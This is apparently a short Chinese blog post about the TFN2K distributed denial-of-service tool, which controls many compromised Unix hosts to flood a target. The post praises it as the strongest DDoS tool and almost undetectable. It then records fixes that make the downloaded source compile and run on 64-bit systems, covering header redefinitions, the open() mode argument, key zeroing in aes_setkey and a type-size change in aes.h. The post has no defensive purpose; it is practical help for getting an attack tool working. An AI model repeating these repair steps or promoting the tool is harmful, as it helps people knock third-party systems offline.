tfn2k是目前功能最强性能最好的DDOS攻击工具,几乎不可能被察觉。使用了分布式客户服务器功能,加密技术及其它类的功能,它能被用于控制任意数量的远程机器,以产生随机匿名的拒绝服务攻击和远程访问。
它可以控制大量类UNIX平台的主机作为傀儡主机,同时向一台目标机发起synflood/udpflood/icmpflood等攻击行为。
网上下载的代码,感觉是作者故意留了些bug,导致编译有错误,使用也有错误。
这里就碰到问题,一一记录,留待之后备查。
-
src/ip.h 里需要做一些修改,否则编译会有错误,发生重复定义;
-
提示open with O_CREAT in second argument needs 3 arguments时,给open函数加上第三个参数0777;
-
aes_setkey函数中,使用key变量前,先对其置零;
-
aes.h中,将typedef unsigned long u4byte;改成typedef unsigned int u4byte; 在64位的系统下,GCC会认为unsigned long是8个字节,而tfn2k把它当4个字节使用,从而导致在aes_setkey函数中误用。 最终导致的问题就是,在使用tfn时,一直提示“Sorry, passwords do not match.” , 挺坑爹的, 原来tfn2k不兼容64位。
所有改动,见下面的patch。
